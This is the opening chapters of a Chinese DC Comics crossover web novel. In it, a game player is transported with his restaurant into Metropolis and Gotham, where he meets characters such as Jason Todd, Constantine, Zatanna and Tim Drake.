《[综英美]餐厅经营指北》
1. 第 1 章
“阿嚏——”
坐在电脑前的男人揉了揉鼻子，最近他总是感觉背后有股凉意，彷佛有什么生物在暗中窥视自己，但是回头只能看到孤零零的影子。
这点小插曲没有阻止他继续沉浸在《餐厅经营大亨》中。
游戏里，他白天探索世界寻找食材和人才，晚上经营餐厅为客人提供美味佳肴，一步步将餐厅打造成全球顶级的美食殿堂。其他玩法层出不穷，从收集稀有卡片到社交媒体营销，每条支线都让他乐此不疲。
今天，他终于完成了所有任务，在内测玩家中第一个解锁了全成就的白金奖杯。
【恭喜玩家文森特·科顿解锁白金奖杯！餐厅可升级为更高层次，请问是否升级？】
“隐藏关卡？”文森特有点惊讶，下意识截图点了确定。
“策划给的测试报告还有漏网之鱼啊。”
文森特伸了个懒腰，拿起咖啡悠哉游哉地等着餐厅升级。
突然，屏幕上弹出了一个他从未见过的提示框：
【升级成功，解锁——宇宙尽头的餐厅】
还没等文森特反应过来，屏幕内猛然射出一道白光，仿佛是宇宙快递，当他再次睁开眼时，高耸的摩天大楼出现在他眼前——这正是他在游戏里的餐厅总部。
阳光洒在大楼表面，为它镀上了一层金色的光辉，金属大楼外墙采用了黑金配色，与Art Deco风格的流线型设计完美融合，让它看起来像是从上世纪的电影里走出来似的。
每寸细节都透露着黄金时代的独特风情，使其在周围那些平庸的砖瓦建筑中显得格外耀眼，犹如一座耸入云端的宫殿，俯瞰着脚下的一切。
这座现实中的摩天大楼，与他在游戏里的设计一模一样，甚至连墙上的装饰都分毫不差。
“这是怎么回事？我穿越了？”
文森特心中涌起阵阵不安，但他很快镇定下来快步迈向餐厅，门童迅速上前，微笑着替他拉开大门：“老板下午好，欢迎您回到餐厅。”
门口的镜子反射出了文森特的身影，浅金色的短发在灯光下熠熠生辉，衬托出他那双清澈又富有穿透力的翠绿色眼眸，眼神满是自信坚定，他的容貌或许不是最顶级的，但这份自信让他的外貌从八分到了十分。
身上是玩家的默认装束——笔挺的白色衬衫搭配简约的黑色长裤，简单的服装将他挺拔的身姿展现得淋漓尽致，即使是最挑剔的目光也会在他身上驻足。
文森特走进了他精心打造的餐厅，所有员工都或礼貌或殷勤地向他打招呼。内部装饰比他在记忆里的任何细节都真实奢华，水晶吊灯洒下的光芒柔和而璀璨，轻轻拢住了所有人的心。
这里的每个角落都让他感到熟悉又新奇。
【中午好，科顿先生。】
【欢迎回到您的帝国——科顿餐厅】
【当前餐厅繁荣度：S+。这可是最高的荣耀，是您骄傲的徽章。】
【科顿餐厅的辉煌过去由您铸就，而未来，正等着您自由书写。】
【解锁进度40%】
【新资料包加载中……】
半透明的提示框在他眼前缓缓展开，文森特根据记忆轻车熟路地找到了办公室，一切都和他在游戏中的设置一样。
这是什么解锁？
文森特看着系统最上面的进度条正在缓慢移动，好奇充满了他的思绪，系统没让他等多久，进度条很快就到了最后。
【解锁进度100%，解锁——宇宙尽头的餐厅】
【宇宙尽头的餐厅】
描述：这不仅是一间餐厅，它是您通往无限可能的钥匙
它存在于宇宙的任何时刻，欢迎您来见证维度的奇迹。
他的好奇心被彻底点燃了，文森特决定马上起身去探索这个奇迹。
快速穿过餐厅，里面一片繁忙，员工们正在为了晚餐做着最后的准备。
为了实现餐厅的大改造升级，文森特把所有资源都投入了进去，几乎清空了仓库，现在只剩下零星几个食材孤零零的在仓库里，不过这都是小事，因为自家餐厅是座金山，一旦夜幕降临，餐厅大门敞开，财富将会如潮水般汹涌而至。
文森特走出大厦，第一次真正观察这座城市。
太阳快沉入地平线，打着哈欠准备结束白天的演出，周围的混凝土建筑在它余晖的照耀下显得平平无奇，只有科顿大厦在这片天际下抢尽风头。
【DLC英雄时代资料包已加载】
文森特的目光被路边广告牌上的超级英雄吸引，那是蜘蛛侠和超人，看起来像是有什么超级英雄电影要上映。
“蜘蛛侠真的超帅！”从他身边经过的男孩兴奋地大喊着，打断了文森特的沉思。
“得了吧，超人才是正道，拜托他可是外星人，还帮我救过小猫呢！”男孩的友人不赞同地扶了扶眼镜，为自己的偶像大声辩护。
孩子们的争论声渐渐远去，文森特忍不住笑出了声音，这俩小孩对于超英是真爱啊，他自言自语道：“英雄时代，怎么，这是想让我开启超英副业？”
文森特随手掏出一美金买了份报纸，报纸头版头条是阿美莉卡总统竞选的消息。
第二页总统候选人名单上，莱克斯·卢瑟赫然在列。
这个名字怎么听起来这么耳熟……？
继续往下看，文森特看到了一个刚刚听过的称号：蜘蛛侠。
文森特忍不住吐槽：“这是竞选总统还是拍超级英雄电影啊？”
超人救了爬上树的猫猫、正义联盟又一次拯救了世界……文森特越看越觉得这个世界比他的餐厅支线任务还要戏剧化。
“星球日报，这不会是什么电影小报吧？”文森特翻来覆去地看着报纸，接着他把报刊亭里的报纸全部买了一遍。
全部读完之后，文森特的沉默震耳欲聋，他的脑海里只剩下一个念头：
“自己穿越到了超英世界？”
文森特摇了摇头：反正自己这种什么都没有的餐厅老板安稳经营，守法产业，按时交税，说不定那天还能接待蝙蝠侠或者超人呢。报纸上还有某某超英光临某家商店的报道。
“可以准备一些超英套餐，相信大家会喜欢的。”文森特把烦恼抛到脑后，现在最重要的是他的新餐厅，名字和介绍听起来就炫酷到了极点。
太阳渐渐消失在在地平线尽头，科顿大厦的门口热闹非凡，虽然晚餐时段尚未到来，但那
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些提前预约的名流富豪们已经迫不及待地等在了门口，门口简直变成了一场Met Ball大秀。
文森特也没时间管巷子尽头的新餐厅了，他立刻站在侧门用系统调节着当前餐厅情况。
正在他专心致志优化动线之时，周围的尖叫突兀地扎进了他的大脑，紧接着是无数黑点像雨水似的倾盆而下，浇在城市的楼房上。
幸运的是，科顿大厦使用了最地球上坚固的金属材料，建筑本身毫发无伤，贵宾和员工在正按照系统设定好的路径有序撤离。
外面世界却是一片混乱。人们四处逃散，惊恐的尖叫和绝望的哀嚎交织在一起。
文森特身旁，黑色“水滴”静静地躺在地上，它看起来格外普通，却孕育着毁灭的力量。
“水滴”很快从中间裂开，从中出现的生物迅速展露出他们的本性——他们是金属的天敌，以金属为生。
科顿大厦的外墙，在金属啃食者的侵袭下，开始如同夏日阳关下的冰淇淋迅速融化，消失在月光的照耀下，速度之快，让文森特几乎怀疑之前真实精美的大楼是否只是自己的幻觉。
“我的大楼！！！”
——————
哈尔·乔丹AKA绿灯，正忙着在废墟中玩“寻宝游戏”，只不过他寻找的不是金银财宝，而是还喘气的幸存者。
绿灯能量在这个方面格外好用，救人无数。他救过的人形形色色，有感激涕零的，有问他怎么收费的，甚至还有外星美女想以身相许，哈尔都见怪不怪了。
这位对着空气练拳击的先生，并没有让这位见多识广的宇宙侠客感到惊讶。
他惊讶地是这里之前不是有幢高耸入云的摩天大楼吗，怎么现在只剩下干干净净的空地了。
在哈尔看来，这人要么是被吓傻了，要么就是本来就不太灵光。他心里默默地给文森特贴上了“需要帮助”的标签。
哈尔还顺便给蝙蝠侠发了个消息，直接询问正联顾问，是不是有哪个不守规矩的家伙从哥谭逃到了大都会。
当然他说的可比这个直接多了——至少逃那个词他直接用了越狱——直接到了蝙蝠侠二话不说拉黑了他，且下手越发黑了。
超人在一旁默默地挪了挪，保持安全距离，以免被蝙蝠侠“误伤”。
绿色的能量干脆利落地包裹住了文森特，把他带到了安全区域，正义联盟合起伙来外星人很快就被赶出了地球，一切又恢复了往日的宁静，只有文森特看着系统的繁荣度沉默。
【晚上好，科顿先生。】
【欢迎光临，您的帝国——科顿大厦】
【当前繁荣度：无法衡量。嗯，可以说是“战损风”级别。】
【您的另一处产业——宇宙尽头的餐厅】
【当前繁荣度：无法衡量。呃……咱们就称之为“神秘莫测”吧。】
【不过别担心，无论是废墟还是未知领域，您的餐厅总是让人充满期待。】
———
“系统，你们那边管这叫餐厅是吗？”
站在新餐厅门口的文森特冷静问道。
“我们碳基生物通常管这种老鼠蟑螂遍地跑的废弃仓库叫——
“鬼屋。”
2. 第 2 章
“系统，你们那边管这叫餐厅是吗？”
站在新餐厅门口的文森特冷静地问道。
“我们碳基生物通常管这种老鼠蟑螂遍地跑的废弃仓库叫——
“鬼屋。”
文森特站在这家破烂鬼屋——啊不餐厅——门口，眉头紧皱成了中国结。
这家所谓“宇宙尽头的餐厅”，看起来更像是一个被遗忘的工具屋。
天花板上墙皮在努力向新老板展示着自己的内心，四周墙壁上斑驳的油漆好似某个神秘宝藏的古老地图，地板上的裂缝在嘲笑他的运气，踩上去发出嘎吱嘎吱的声响。
至于那些被他打扰的原住民——老鼠和蟑螂，它们显然对他的出现并不欢迎。
文森特叹了口气，一时间不知从何下手，墙角的椅子看起来历史悠久，他本来打算先休息一下，没想到这位老员工比他更需要休息，椅子尖叫着表示抗议，接着毫不留情地解体表示自己的忠诚。
“好吧，看起来我得从找把结实椅子开始了。”文森特从地上站起来，拍了拍身上的灰，自言自语道。
他把那堆曾经是椅子的木柴卖给了系统，换来了一把新椅子，新椅子看起来忠心耿耿，并没有对他的行为做出什么反抗。
文森特坐在新椅子上，开始规划如何改造这个“鬼屋”成为一家真正的餐厅。
先把卫生收拾收拾，接着买点简单的厨具，至少也得能做饭啊……
正当文森特正沉浸在改造计划中时，突然一股莫名的寒意沿着他的脊背向上爬去，紧闭的仓库里吹来了没来由的风。他下意识地站起身远离了自己的椅子。
与此同时，一声巨响从他身后响起，黑色的水滴状物体从天而降，不偏不倚地击中了他的新椅子，连地板也被砸出了个洞。
月光透过天花板上的新天窗直射进来，黑色水滴笼罩在幽蓝的光晕之中。在月光映照下，它看起来仿佛蕴含着宇宙深处的秘密。
文森特已经没有生气的力气了，他看着尸骨无存的椅子和被开了个天窗的天花板，心中五味杂陈。
“好吧，改造计划我会把天窗加进去的。”文森特深吸了一口气，苦中作乐地耸耸肩。
他迅速打开了系统界面，用他仅剩的金钱兑换了一瓶传说中的“金属守护者”药水，这种药剂专门针对这些以金属为食的不速之客。
虽然他现在的餐厅只剩下了木头，但那些曾经摧毁他心血的金属啃食者，依然给他留下了深刻印象。
文森特拿着药水直接浇在了水滴蛋上，按照系统说明书的指示，这颗水滴的颜色会在短时间内变透明并且像是真正的水滴那样迅速蒸发。
十分钟过去了，黑色水滴纹丝不动。
系统你不会卖给我假货吧？文森特又翻了一遍说明书。
又过了十分钟，黑色水滴产生了一丝裂缝，一个不同于金属啃噬者的生物从里面钻了出来。
文森特心跳加速，他警惕地后退了几步，紧盯着这个奇怪生物。
它看起来和蝙蝠侠有着惊人的相似，但尺寸却如同孩童，眼睛闪烁着调皮的光芒，它身上穿着的制服虽然迷你，但细节丰富，显然是精心制作的。
“你好啊，文森特·科顿。” 这个生物的声音尖细充满活力，它悬浮在空中，围绕着文森特转了几圈，“我是蝙蝠螨，第五维度的居民，也是蝙蝠侠的超级粉丝。”
“好，蝙蝠侠的粉丝，你毁了我的餐厅，我的新椅子。”文森特双臂交叉，“介于粉丝行为偶像买单，我找蝙蝠侠赔偿没问题吧，账单是直接寄到正义联盟就可以吗？”
蝙蝠螨显然没想到来人会这么直接地指责他，它的大眼睛无辜地眨动着：“这只是个误会，科顿先生。我只是想给你的餐厅增添一点...呃，个性，这是未来的潮流。”
“个性？潮流？我不觉得被砸烂的餐厅和被毁掉的椅子能叫个性。”文森特挑了挑眉，他并不买账。
蝙蝠螨挥了挥手，四周的空气中闪烁起微小的光点，像是在施展某种魔法。它得意地说：“别担心，我可是蝙蝠螨，修复这些东西对我来说易如反掌。”
话音刚落，那些跳跃的光点汇聚成了一束光束，照射在被破坏的餐厅和椅子上。
地板像吃了返老还童药似的自我修复，椅子也变成了最初的模样，仿佛刚才的灾难只是一场幻觉。
“瞧，一切都恢复如新了。” 蝙蝠螨得意洋洋。
文森特沉默了片刻，缓缓开口：“好吧，你确实有两把刷子。你来只是为了帮我装修餐厅？”
“亲爱的文森特，你的灵魂与这个世界格格不入，你显眼的像是黑暗中的一盏蝙蝠灯。”
蝙蝠螨的声音中满是诱惑。
“我，作为一个恶作剧的狂热爱好者，一个不折不扣的赌徒，现在向你提出一个挑战——完成四项简单的美食任务，我将送你回到你的世界，并且，你将拥有一家真正的、属于你的餐厅，和你之前看到的一模一样。”
文森特的眼神中闪过一丝警惕：“如果我输了代价是什么？”
蝙蝠螨轻笑：“如果你失败了，这家餐厅就归我所有。但如果你赢了，你将获得你梦寐以求的一切！”
蝙蝠螨打了个响指，一股神秘的风席卷了整个房间，将那些不速之客——老鼠和蟑螂——轻柔地驱逐出去。灰尘和污垢被无形的力量扫除，消失得无影无踪。
大厅多了张桌子和吧台，甚至厨房有了第一个正经的锅。
“送你份小礼物，要不然这个游戏太无聊了。”
文森特半天没说话，蝙蝠螨也没有催促，它在空中优雅地转了一个圈，洒下点点光亮，一张明信片出现在了桌子上。
“我给你时间考虑，如果你决定接受挑战，把明信片投到邮筒里就好。”
话音落下，蝙蝠螨渐渐消失在空气中，只留下文森特和那张明信片面面相觑。
文森特捡起明信片，上面描绘着银河，璀璨繁星在其上流淌，他翻到背面，上面写着几行字：
【亲爱的文森特·科顿，
如果你的回答是肯定的，就请将这张明信片投入邮筒。
我们的冒险将从那里开始。
期待你的选择，
蝙蝠螨】
文森特的手指轻轻摩挲着明信片上的字迹，这不仅是一次挑战，也是他回家的车票，但在他即将准备进入深度思考的时候……
他的肚子发出了抗议，从他穿越到这个奇妙世界之后，他还从来没有给他的胃提供什么补给。
文森特从系统仓库里翻出来了几个面包和热狗
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，打算给自己来个夜宵。
香肠被切开放进锅里，随着温度升高，香肠表面开始变得焦脆，散发出诱人的香气，油脂的声音滋滋作响，每个气泡破裂都释放出更多香味。
就在他沉浸在自己思绪中时，清脆的门铃划破了夜的寂静。
文森特瞥了眼系统，指针已经指向了凌晨两点，他皱了皱眉头。
这么晚？谁会在这个点来拜访一个看起来像是废弃仓库的餐厅？
文森特手握着铲子，走向门口，准备告诉深夜的来访者餐厅已经关闭。
他打开门缝，用尽可能温和的语气说道：“你好，我们现在已经……”他的目光向下，落在门外的小男孩身上，话语戛然而止。
孩子头发凌乱，脸上带着些许伤痕，显然是经历过一番搏斗。
男孩的眼里透露出一种与年龄不符的坚定和戒备，他的衣服有些脏，但还是鼓起勇气伸出手中的硬币，他的手被硬币硌的通红。
“你好，小家伙，”文森特温柔地说，“我们现在已经不营业了。”
小男孩咬了咬嘴唇，然后小声说：“我，我只是想要一个热狗，我已经很久没有吃东西了。”
“好吧，”文森特侧身把人请进来，“可以为你破个例。进来吧，我给你做个热狗，吃完就乖乖回家，别让你家人担心。”
小男孩犹豫了一下，小心翼翼地走进了餐厅，他环顾四周，显然对这个地方感到十分不安，只是站在桌子旁。
“你叫什么名字？”文森特尝试和男孩聊天，试图缓解他的紧张情绪，一边说着一边从柜台下面把药箱翻出来递了过去。
“杰森。”小男孩简短地回答，声音中带着提防。
“我是文森特科顿，你可以叫我科顿。”文森特把水杯被放在杰森身边，随手把唯一一把椅子推了过去，“热狗要现做，你要稍等一会儿。”
杰森点点头，他乖巧地坐在椅子上翻着药箱，他的心脏怦怦直跳，手下意识掐住胳膊保持冷静，等到文森特的身影彻底消失在厨房门后，他二话不说把常用药塞进自己的衣服里，接着把上面一层巧妙地盖了回去，立刻开始在餐厅中寻找着小费罐。
说实话，杰森一进来就后悔了，这里破的像是刚经历过企鹅人或者黑面具的抢劫，接着又被哥谭的小混混抢了三遍，空间里的家具甚至还没他和他妈住的贫民窟里多。
甚至地板每走一步都嘎吱作响，他每一步都走的小心翼翼，生怕地板突然和他打个招呼让他掉进兔子洞。
但是这股食物的香气实在太吸引一个饿了三天的孩子了。
在这之前，杰森的口袋里只有一小块巧克力，那是他今天唯一的收获。热狗的香气让他的口水不争气地开始分泌。
他眼角撇到了柜台上的现金抽屉，一点绿色的边缘透了出来，像是在和他招手：来吧，就拿一点，这不是什么大事，拿一点能让母亲高兴，最差也能让自己吃上两天的饭。
男孩迅速靠近柜台，手指轻巧滑过桌面，谨慎地抓起了几张钞票和硬币。他的动作熟练而迅速，这是街头生存的本能。
就在他准备将硬币藏进口袋的时候，老板的声音突然从他身后传来：“需要帮忙吗，杰森？”
杰森手一抖，硬币掉在地板上，发出清脆的声响。
3. 第 3 章
硬币的落地声在空旷的餐厅内回响，杰森的心脏几乎要跳出来，他有点恶心，两腿像是灌了铅了一样等着文森特的最后审判。
再被打一顿吗？无所谓了。杰森已经做好了准备。
他撇到了文森特的手慢慢向他伸了过来，几乎是出于本能，杰森蜷缩成一团，试图减轻即将到来的暴力。
文森特的动作出乎他的意料，他伸手把掉在地上的硬币捡起来，吹了吹上面的灰尘，把它放回了柜子。
“别客气，吃吧。”老板声音格外平静，像是在讨论天气，他指了指旁边的热狗和炸薯条，“这些都是你的。”
杰森转过身，警惕地看着文森特，眼里闪过一丝惊讶，他没想到这位老板还会给他吃的。
或许这家伙根本就不会打架？杰森暗自揣测，看着文森特那张看起来就不差的脸，他开始怀疑这人是某个富二代，来这里体验生活。
呵，什么好人在哥谭体验生活。
虽然心里想法各异，但是杰森还是很诚实地把托盘向自己拉近，试探性地吃了几口。
热气腾腾的食物温暖了他的身体，即使是有毒，能在死前再享受顿饱饭也不错。
杰森狼吞虎咽地吃了起来，眼角的余光始终提防着对面的人。
【解锁人物-杰森·**】
人物描述：
已解锁：哥谭街头满是这种孩子，双亲要不在监狱，要不在地狱，从小出来讨生活，靠着小偷小摸生活。
他们不会念你的好，不过要是有个不错的指引人，或许他会走向不一样的路。
未解锁：[资料保密]
“行了，吃完就走吧，要是有下次我就直接报警了。”
老板懒洋洋地坐在柜台后面打着哈欠，杰森眼里闪过一丝复杂的情绪，把剩下没吃饭的食物用垫纸一包塞进了怀里。
在哥谭里，每一口食物都是生存的关键。
就在他转身要走出门的时候，文森特的声音再次响起：“接着。”
杰森下意识伸手接住了扔过来的东西。
那是一枚硬币，闪着微弱的光芒。
“下次你可能就不会这么幸运了。”
杰森头也不回的走进了黑暗中，文森特困得不行，但对于干净的要求还是强打起精神把餐盘扔进厨房水池。
几张皱皱巴巴的钞票被压在餐盘之下。
文森特愣了一下，接着嘴角不自觉的勾起，系统也没说对嘛，这也不是不念自己的好。
然后他就看到了一团狼藉的药箱。
well，念了，但是没完全念。
——————
文森特是被阳光吵醒的，蝙蝠螨修了墙壁修了椅子，甚至修了地板，但是天花板上的大洞依然在哪里。
手头不宽裕的他连个窗帘都买不起。
他刚想打开系统商店看看窗帘，就看到金钱的标识旁边血红的负数。
负数？这里怎么会有负数！
文森特揉了揉眼睛，再次确认屏幕上的数字。
昨晚虽然是个位数，但绝对不会是负数。
文森特仔细检查了账户日志，才发现餐厅每天都有固定的维护费用，而且他似乎已经欠下了一笔不小的债务。
这系统，真是会给他惊喜。不是，你们都异次元餐厅怎么还要交税啊！
【系统：您好，这里有税务局，您也不想被税务局追踪吧。】
文森特叹了口气，人家开局都是满级系统满级技能，怎么到了自己就是负债累累啊。
系统上的日常任务甚至还带点嘲讽。
【日常任务】探索发现（0%）
描述：城市的每个角落都隐藏着秘密，探索这座城市，也许会有意想不到的收获。比如，你可能会找到一个免费的窗帘，或者至少是一张能挡住阳光的海报。
————————
刚出门文森特就吃了一惊，昨晚来的时候到处都是碎掉的石头和垃圾，今天出门的时候，原先巨大的落石和破碎的街道已经被重新愈合，像是有个城市医生在夜里悄悄修补了整个街区，一点也不像是刚刚经历了外星人搏斗的场景。
文森特站在车水马龙的大街上陷入了沉思。
【请先探索地图】
“探索地图，说得容易，”文森特咕哝着，“这城市比意大利面还要错综复杂，你甚至连个城市名字都不给我。”
好吧，忽略掉步履匆匆的上班族，文森特一眼就选中了一个黑发男人，他穿着风衣叼着烟，倚在一辆黄色出租车旁边打着瞌睡，看起来在等什么人。
“先生您好，”文森特拍了拍他的肩膀，脸上笑容友好，这个距离除了烟草味之外他还嗅到了极淡的硫磺味。
黑发男人缓缓睁开眼睛，对于被打扰非常不满，他目光锐利，但在看到文森特的瞬间瞳孔放大，很短时间内又回归了平静。
文森特怀疑自己刚才是不是眼花了。
“有事吗？”男人的声音带着一丝沙哑，像是刚从睡梦中醒来。
文森特点点头，尽量让自己看起来像是本地人：“昨天不是有外星人在这里吗？这么快就收拾好了？”
“这里是哥谭，”男人回答，他的声音带着一丝不易察觉的笑意，“昨天的外星人？那是大都会的事，离这里有点距离。”
哥谭？文森特愣住了，接着他想到了餐厅的介绍，难道系统其实是写实派？
【探索发现（哥谭）20%，奖励：现金*1000】
【恭喜解锁地图，哥谭】
描述：一座现代化的都市。
这里的天空被摩天大楼的尖顶刺穿，而地上则是那些永远也扫不完的垃圾和破碎的梦。
这座城市有她自己的义务警员，但说实话，有时候他的存在可能比问题本身更让人头疼。
毕竟，有谁会在晚上穿着紧身衣到处晃悠，还自称是“蝙蝠侠”。
“对，”文森特尴尬笑笑，尽量让自己看起来不像是个搭讪的人，“我刚搬到这附近，不太了解情况，我在这里刚开了家餐厅，可以来尝尝我的手艺。”
文森特边说着边指了指巷子。
“忘了自我介绍了，我是文森特·科顿，我的店就开在这里面，晚上你可以来尝尝。”
“康斯坦丁。”男人眯起眼睛，似乎在思考文森特的问题，他说，“我知道有个市场，你想要的应该都能买到，就是有点远。”
文森特扫了眼康斯坦丁的身后的出租车：“你是司机吗？能把我带过去吗？”
这位“新任”司机一愣，没有正面回答文森特的问题：“你主动让我开车啊？我第一天干这个，你得体谅一下我的车技。”
康斯坦丁刚结束一场驱魔，超过二十四小时没合眼，自家助手兼司机因为恶魔的硫磺味吐的就没从洗手间出来。
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啧，这小孩不行啊。
康斯坦丁一边想着一边心安理得地叼着烟，完全不想小徒弟为什么会被熏成这个样子。
超过二十四小时的清醒让他的眼睛忍不住打架，最后实在困得不行，倚在车旁打起了瞌睡。
作为著名魔法师，康斯坦丁完全不担心有人想对他做什么，但他没想到一睁眼就看到了文森特。
还是一个主动找他，主动让他开车且完全不认识他的文森特。
哇哦，有趣的事情发生了。康斯坦丁舔舔嘴唇，毫不客气地踩下了油门。
————
文森特并没把康斯坦丁的话当回事，不过是开车，再差能开到什么样子呢，还能上天不成。
这种想法直到康斯坦丁发动汽车。
他真的能上天。
出租车引擎的咆哮声响彻街区，强烈的推背感把他死死压在座椅上，让他几乎要怀疑自己是不是坐上了一辆非法改装的赛车。
文森特紧紧抓住车门把手，眼睛瞪得老大，街景在窗外模糊成斑斓的光影。他的心跳随着车速的加快几乎跳出嗓子。
“嘿，放松点，伙计！” 康斯坦丁通过后视镜瞥了一眼文森特，单手点起一直叼着嘴上的烟嘲笑道，“在哥谭，这算是慢的了！”
就在他做这个动作的时候，文森特眼睁睁地看着这里出租车从旁边的摩托边上蹭了过去。
花火四射。
车后的摩托车手朝着他们比了个大大的中指。
拜康斯坦丁的绝佳车技所赐，半个小时的路程被压缩到了十分钟，文森特几乎是从车上飘下来的，他开始怀疑自己是不是应该重新考虑自己的出行方式。
文森特站在车水马龙的集市门口，深呼吸试图平复刚才的惊魂时刻。
他决定无论如何，他得有辆自己的车。
至少在自己的车里，他可以控制速度，不用担心每次出行都像是在和死神赛跑。
文森特刚平缓好心情想要和康斯坦丁聊聊车钱，就听到一阵令人牙酸的刹车声从他背后传来，刚才差点被蹭到的红色摩托不偏不倚地停在了出租车的旁边。
红色摩托车身线条流畅锋利，曲线把速度与力量结合的淋漓尽致。一看就知道车主就不是空架子，没点肌肉的人很难驾驭这种“机械猛兽”。
带着同色头盔的车主身材魁梧，肩膀宽阔，姿态挺拔，给人一种不容忽视的存在感，几缕白发从头盔的缝隙中逸出，增添了几分不羁的气息。
车主的长腿轻松地踩在地上，身体前倾，语气中带着挑衅：“我就说还能有谁这么开车，康斯坦丁你就不怕老东西来找你？”
“你这么骑车就不怕他来找你？”康斯坦丁对此只是耸了耸肩，满脸无所谓，他转向文森特：“不用钱，就是这里，回去你要自己找车了。”
“啧，”车主把玩着手上的硬币：“而且你怎么开始主动开车了，我记得你不是答应过文……”
康斯坦丁比了个静音的手势，看向了走进集市前和他挥手再见的文森特。
车主顺着康斯坦丁的视线看了过去，眼睛瞪圆：“等等，文森特？”
“是啊，” 康斯坦丁又点起了香烟，面上露出了一抹不怀好意的笑容：“啊，忘了告诉你了我刚才联系了你的某位亲属，他马上就到。”
“杰——”
不远处，一位帅哥带着他的红发女友朝这里走来。
4. 第 4 章
【日常任务】搜索食材（0%）
【日常任务】销售一份晚餐（0%）
文森特在集市上漫无目的地闲逛，怀里逐渐甜满了色彩鲜艳的蔬菜和新鲜海鲜。
日头西斜，采购完成的文森特抱着一大堆纸袋艰难地上了路边的出租车。
小小的正方体从他的口袋滑落到面前，文森特下意识把玩着这个小东西。
这是他马上要从集市出来的时候，在门口的摊位上突然看到了这个神秘的正方体。
看起来平平无奇，就是一个简简单单的铁块，但是摸上去的手感让文森特爱不释手。
“这是什么玩意儿？”文森特好奇地问道，一边用手指轻轻触碰那个发光的正方体，什么特殊感觉也没有。
摊主是个穿着魔术礼服的美丽女人，礼帽随意地放在身侧，她看起来像是刚从19世纪的魔术表演中走出来一样。
她眨了眨眼睛，低声说：“这是个幸运符，它能带来好运，但只有真正的有缘人才能激活它。”
这里面不是塞了一个灯吧？文森特半信半疑，他刚想开口就听到摊主说：“这里面没有灯，是自然发光的。”
文森特震惊的表情显然取悦了摊主，她俏皮地说：“你的表情就像是在说，‘这玩意儿是个灯泡吧’。但你得知道，这里是魔法的地盘。”
她一边说一边指了指头顶的招牌“扎塔娜的魔法小屋”。
“呃，我以为这是个蔬果农产品市场？”
“你手里拿的那个其实某种意义上来说也算是一种农产品吧。” 扎塔娜轻笑一声摇摇头，“毕竟这个世界有吃金属的虫子，那么肯定就有生物喜欢这个，”
扎塔娜拍拍落在水晶球上的灰，朝着文森特笑了笑，“总之，你和它有缘分，你要买下它吗？这可是孤品，下次就是另外的价格了。”
“多少钱？”
“100美金。”
文森特看了看自己的余额：115美金。他咬咬牙：“成交。”
“成交。”
扎塔娜眼睛瞪大了一下似乎没想到他这么爽快，像是做好了讨价还价的准备一拳打在了空气上：“呃，再送你个小礼物？”
“连连运好！”文森特看着扎塔娜对着网兜说了一段反语，接着把小正方体包了起来。“一个小祝福，祝你好运文森特。”
“别问我怎么知道你的名字，我可是魔法师啊。”伴随着一阵清脆的笑声，摊主连同摊位消失在文森特眼前。
只留下了网兜装着的正方体和文森特面面相觑。
出租车司机的呼唤把文森特从发呆中唤醒：“先生，我们到了。”
文森特手忙脚乱地付了车费，还不忘给司机小费。他心里想着，是时候买辆车了，但系统显示的余额让他瞬间清醒。
【余额：0.1】
走路好啊，走路健康。
文森特抱着他的“战利品”走向自己的餐厅，完全没注意到两个小混混正盯着他。
打车，新鲜水果蔬菜，长得还不错，看起来不太能打……
两个混混对视一眼跟了上去，在文森特看不到的地方，口袋里的网兜闪了一下。
——
提摩西·德雷克-韦恩先生今天久违地迎来了正常下班，虽然比韦恩的法定下班时间晚，但他甚至看到了哥谭的白天太阳——夕阳也算是一种白天太阳，怎么不算是一种正常下班呢。
他看着手机里的消息——指今天的少年泰坦风平浪静，今晚的夜巡由姑娘们和刚回哥谭的大哥来包圆，一股能睡八个小时的念头从他心里浮起。
但之前要先找点吃的，提姆记得今早出门的时候他扫了一眼蝙蝠电脑的周边信息，电脑提示这附近开了一家小餐厅，因为离韦恩大楼太近，加之注册户主又叫尤利克·诺尔曼·欧文先生（Mr. U. N. Owen）*，一个假的要溢出来的名字。
假名起叫无名氏，你就算起个约翰·琼斯（John Jones）*我都算你有心了好吧，不过约翰·琼斯也很假。
提姆一边走一边想，如果这家是真正的餐厅，那么他正好带点食物回家给家人们当夜宵，如果不是餐厅，红罗宾露出一个危险的笑容，那不是更好吗？
——
一阵破空声从文森特身后穿来，他还没来得及躲，手臂粗的木棍穿过他的身侧飞向店门，砰的一声砸到了墙上，两个易拉罐哗啦啦地掉在文森特身边。
文森特扭头只看到了两个摔得七荤八素的小混混，和站在巷子尽头做出投掷动作的青年，见他看过来青年只是淡淡点头，扫了扫自己高定西装上的灰尘，两个小混混连木棍都不要了快步跑出了小巷。
文森特这才意识到自己刚刚逃过一劫，心脏怦怦直跳。
“欢迎来到哥谭。”巷子尽头的青年朝他笑着说。
走进了文森特才看清这最多算是个青少年，只是格外妥帖的西装让他看起来非常正经。
“谢谢，”文森特掂了下手里的蔬菜从口袋里摸出钥匙开了门。
“哦哦，忘记自我介绍了，我是文森特·科顿，刚在这里开了家餐厅，随便坐，今晚这顿算我请你的。”
文森特心有余悸：“你们哥谭的打招呼方式可真不寻常，想吃点什么？”
“提摩西·德雷克，不客气，这是哥谭的特色，建议你锻炼一下身体。”
提姆刚走到巷子口就看到有两个小毛贼鬼鬼祟祟地计划着什么，一个年轻男人正往巷子尽头的店里走，这种毛贼在哥谭一天要消失十个，脚边的两个易拉罐充当了蝙蝠镖非常简单帅气地解决了这个甚至都称不上事件的事件。
文森特把食材抱到了后厨，开始准备他的拿手好菜——海鲜烩饭。他一边煮饭一边哼着小曲，都这么倒霉了，当然要吃点好的压压惊。
在文森特手下，食材变成了一场味觉的交响乐
洋葱的微辣与白葡萄酒的果香交织在一起，为这首曲子定下了基调。
早上就开始熬制的高汤，经过时间的沉淀，浓郁的香气为这道菜增添了层次丰富的中音。
至于海鲜，每一只虾和蛤蜊都像是跳动的音符，轻快着打着节拍，充满活力。
各种食材交相辉映，奏出一道美妙的食物之歌。
提姆坐在餐厅里，看着文森特忙碌的身影，不禁感
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到一丝好奇，这个男人刚才差点被抢劫，现在就像是所有事情都没发生一样的做饭，这么神经大条的大脑很适合哥谭。
“科顿，你怎么想到自己一个人来哥谭开店？”提姆扫视着周围，还算整洁的店，很小，没什么装饰，甚至连餐具都没有，这真的是家正常餐厅？
文森特被这个问题哽住了，他根本不知道自己这家神奇的餐厅到底是怎么让自己在一个晚上从大都会平移到了哥谭，他甚至不知道自己明天睁开眼打开门会不会出现在某外星球上。
well，希望明天睁开眼睛至少是在一个有氧气的地方。
